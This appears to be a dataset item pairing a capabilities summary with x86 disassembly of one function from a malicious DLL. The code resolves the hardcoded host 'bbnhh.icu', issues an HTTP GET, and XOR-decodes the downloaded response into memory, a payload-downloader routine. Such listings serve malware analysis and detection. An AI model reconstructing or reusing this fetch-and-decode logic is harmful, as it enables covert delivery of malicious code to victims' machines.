Function at 0x10001d90
Capabilities:
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1208
call fcn.10005a90
mov eax, dword [0x10028034]
xor eax, esp
mov dword [esp + 0x1204], eax
mov eax, dword [str.socket]
mov dword [esp + 0x1c0], eax
movzx eax, word [0x10023d48]
mov word [esp + 0x1c4], ax
movzx eax, byte [0x10023d4a]
mov byte [esp + 0x1c6], al
mov eax, dword [str.send]
mov dword [esp + 8], eax
movzx eax, byte [0x10023d50]
mov byte [esp + 0xc], al
mov eax, dword [str.htons]
mov dword [esp + 0x10], eax
movzx eax, word [0x10023d58]
mov word [esp + 0x14], ax
mov eax, dword [0x1002a8f4]
push esi
cdq
push edi
mov esi, edx
mov dword [esp + 0xc], ecx
mov edi, eax
mov dword [esp + 0x1c0], 0x6e6e6f63
push esi
push edi
lea ecx, [esp + 0x1d0]
mov dword [esp + 0x1cc], 0x746365
call fcn.10001cd0
push esi
push edi
lea ecx, [esp + 0x1d0]
mov dword [0x1002a8f0], eax
call fcn.10001cd0
push esi
push edi
lea ecx, [esp + 0x28]
mov dword [0x1002a8ec], eax
call fcn.10001cd0
push esi
push edi
lea ecx, [esp + 0x38]
mov dword [0x1002a7e4], eax
call fcn.10001cd0
mov ecx, dword [0x10028b84]
add esp, 0x20
mov edx, eax
mov dword [0x1002a6dc], edx
mov ecx, dword [ecx]
test ecx, ecx
jne 0x10001ed4
lea eax, [esp + 0x30]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
xor esi, esi
cmp esi, 3
jge 0x10001ea2
push dword [0x1002a928]
jmp 0x10001ea7
push str.bbnhh.icu
call eax
push 0x3e8
mov edi, eax
inc esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
test edi, edi
je 0x10001e95
mov eax, dword [edi + 0xc]
mov edx, dword [0x1002a6dc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [0x10028b84]
mov dword [eax], ecx
mov eax, 2
mov dword [esp + 0x24], ecx
push 0x50
mov word [esp + 0x24], ax
call edx
push 0
push 1
push 2
mov word [esp + 0x2e], ax
call dword [0x1002a8f0]
mov edi, eax
lea eax, [esp + 0x20]
push 0x10
push eax
push edi
mov dword [esp + 0x1c], edi
call dword [0x1002a8ec]
test eax, eax
je 0x10001f2f
nop
push 0x10
lea eax, [esp + 0x24]
push eax
push edi
call dword [0x1002a8ec]
push 0x3a98
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x10001f10
push 0x104
call fcn.1000505a
movq xmm0, qword [str.GET_http:__]
add esp, 4
mov ecx, dword [0x10023d70]
mov esi, eax
lea eax, [esp + 0x1d4]
movq qword [esp + 0x1d4], xmm0
mov dword [esp + 0x1dc], ecx
push dword [esp + 0xc]
push 0x10028b09
push dword [0x1002a928]
push eax
push str._s_s_s_s_r_n
push esi
call fcn.100010d0
mov ecx, esi
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001f86
push 0
sub ecx, edx
push ecx
push esi
push edi
call dword [0x1002a7e4]
cmp eax, 0xffffffff
jne 0x10001fa5
push edi
jmp 0x100021a1
push 0x1000
lea eax, [esp + 0x20c]
push 0
push eax
call fcn.10006a40
add esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 0x18], 1
xor esi, esi
nop
push 0
push 0x1000
lea eax, [esp + 0x210]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
movq xmm0, qword [str.404_Not_F]
mov edi, eax
mov cx, word [0x10023d88]
lea eax, [esp + 0x1c8]
push eax
lea eax, [esp + 0x20c]
movq qword [esp + 0x1cc], xmm0
push eax
mov word [esp + 0x1d8], cx
mov dword [esp + 0x1c8], 0x20303034
mov dword [esp + 0x1cc], 0x646142
call fcn.100060a0
add esp, 8
test eax, eax
jne 0x1000219d
lea eax, [esp + 0x1c0]
push eax
lea eax, [esp + 0x20c]
push eax
call fcn.100060a0
add esp, 8
test eax, eax
jne 0x1000219d
mov eax, dword [esp + 0x18]
test eax, eax
je 0x100020e1
test edi, edi
jle 0x1000219d
mov ecx, dword [0x10028ab4]
movzx eax, byte [esp + 0x208]
mov byte [ecx], al
movzx eax, byte [esp + 0x209]
mov byte [ecx + 1], al
movzx eax, byte [esp + 0x20a]
mov byte [ecx + 2], al
movzx eax, byte [esp + 0x20b]
mov byte [ecx + 3], al
mov eax, dword [0x10028ab4]
mov ecx, dword [eax]
sub ecx, 6
shr ecx, 1
mov dword [eax], ecx
movups xmm0, xmmword [esp + 0x220]
mov eax, dword [esp + 0x230]
push ecx
movups xmmword [esp + 0x1e4], xmm0
mov dword [esp + 0x1f4], eax
call fcn.1000505a
add esp, 4
mov dword [0x10028ab0], eax
mov eax, dword [esp + 0x18]
xor ecx, ecx
jmp 0x100020e7
xor ecx, ecx
test edi, edi
jle 0x10002126
test eax, eax
je 0x10002106
cmp ecx, 0x2c
jne 0x10002106
mov dl, byte [esp + 0x1e0]
lea eax, [esp + 0x208]
xor byte [eax + ecx], dl
lea esi, [ecx - 0x2b]
jmp 0x1000211d
mov al, byte [esp + esi + 0x1e0]
inc esi
xor byte [esp + ecx + 0x208], al
xor eax, eax
cmp esi, 0x14
cmovge esi, eax
mov eax, dword [esp + 0x18]
inc ecx
cmp ecx, edi
jl 0x100020e7
xor eax, eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x208]
push edi
push eax
mov eax, dword [0x10028ab0]
add eax, dword [esp + 0x14]
push eax
call fcn.100064c0
add dword [esp + 0x18], edi
lea eax, [esp + 0x214]
add esp, 0xc
push 0x1000
push 0
push eax
call fcn.10006a40
add esp, 0xc
test edi, edi
mov edi, dword [esp + 0x10]
jg 0x10001fd0
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [0x10028ab4]
add dword [eax], 0xffffffd4
mov eax, 1
add dword [0x10028ab0], 0x2c
pop edi
pop esi
mov ecx, dword [esp + 0x1204]
xor ecx, esp
call fcn.10004baa
mov esp, ebp
pop ebp
ret
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x120c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.10004baa
mov esp, ebp
pop ebp
ret